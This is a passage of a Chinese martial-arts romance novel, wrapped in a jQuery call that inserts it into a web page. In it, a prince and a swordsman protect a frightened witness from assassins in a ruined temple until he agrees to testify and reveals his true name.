$(''#content'').append('' 失去了萧梁的禁锢,陈通靠着佛像缓缓滑坐了下来,灰白的发丝凌乱地遮住了那双沧桑且悲凉的眼睛。 “放过我吧,够了,我真的受够了……”他低声呢喃着,缓缓把头埋到膝盖上,双手抱着头,一下一下抓挠着头发。 沈知墨眉头一皱,正想重新把人拎起来,突然心中一紧,只感觉一道凌厉的剑气传来。 与此同时,萧梁反应迅捷地伸出脚把佛像下的陈通踹向一旁,随后扑向沈知墨,将人揽在怀里一个转身,离开了佛像后。 就在三人都离开佛像位置之时,一道利刃落在石像上的声音响起,立刻,石像的上半身整个滑落下来,重重砸到了身后的地上。 如果他们没有躲开,此时这个石像便会落在他们的身上。 沈知墨从萧梁的怀里挣脱出来,还来不及多想,就看到破庙门口,三个黑衣蒙面之人举着长剑朝他们杀了过来。 他们目标明确,忽略了一旁的沈知墨和萧梁,径直朝着倒在地上的陈通而去。 眼看剑刃就在眼前,陈通吓得闭上了眼睛,却听“铮”的一声,利刃相撞之声在耳边响起,睁开眼一看,一个高大的身影挡在了他的面前,以一人之力拦下了三名刺客。 “陈通,”沈知墨走到陈通身边蹲下了身子,“这位萧大侠为你们南水县可谓是尽心竭力,你的命也是他费尽心思给你投了肉镖才保下的,可他护不住你一辈子,想要活命,只有把犯人都送进去。” 见陈通还有些犹豫,沈知墨懒懒站起了身:“如果你实在不想配合也没关系,那我们也没有义务继续保护你,与其浪费时间,不如现在就让他们把你带走……萧梁。” “等一下!”陈通接近嘶声力竭地喊了一声。 他跪起身,抓住沈知墨的衣摆,就像抓住了救命稻草一般:“如果……如果我全说了,如果我作证,是不是可以活下去?你们会保护我的对不对?就算、就算我也有罪? ” 有罪? 沈知墨露出了然之色,难怪这陈通就算危及性命也死犟着不肯开口,原来是担心获罪被判死刑,不过到底只是个平民百姓,想来只是个听从指挥的。 “本王向你保证,只要你老实交代愿意出面作证,必定保你能活下去。” “好……我说……” 与此同时,萧梁也击退了三名刺客,他左右看了看,从一旁拿来了一张凳子,随手撩起衣袍的一角把凳子擦了擦,放到了沈知墨身后。 直起身,就注意到沈知墨盯着他衣角看的目光。 “别这么看着我,这不是没带手帕吗,全是灰的你又肯定不愿意坐,只能用衣服了。”说完,就见沈知墨抬眸,从盯着他的衣角变成盯着他,“行了我的殿下,衣服是我穿的,保证不往你身边凑,你将就着忍忍,回去我就换了。” “不是……”沈知墨轻声呢喃了一句。 萧梁没听清:“什么?” “没什么,”沈知墨避开了萧梁的目光,轻轻一撩衣袍坐在了凳子上,“陈通,开始说吧,交代清楚了,本王才能知道该怎么护下你。” “我……”陈通声音颤抖着,犹豫片刻后终于下定了决心,狠狠一闭眼,道,“我不是陈通,我是陈平。”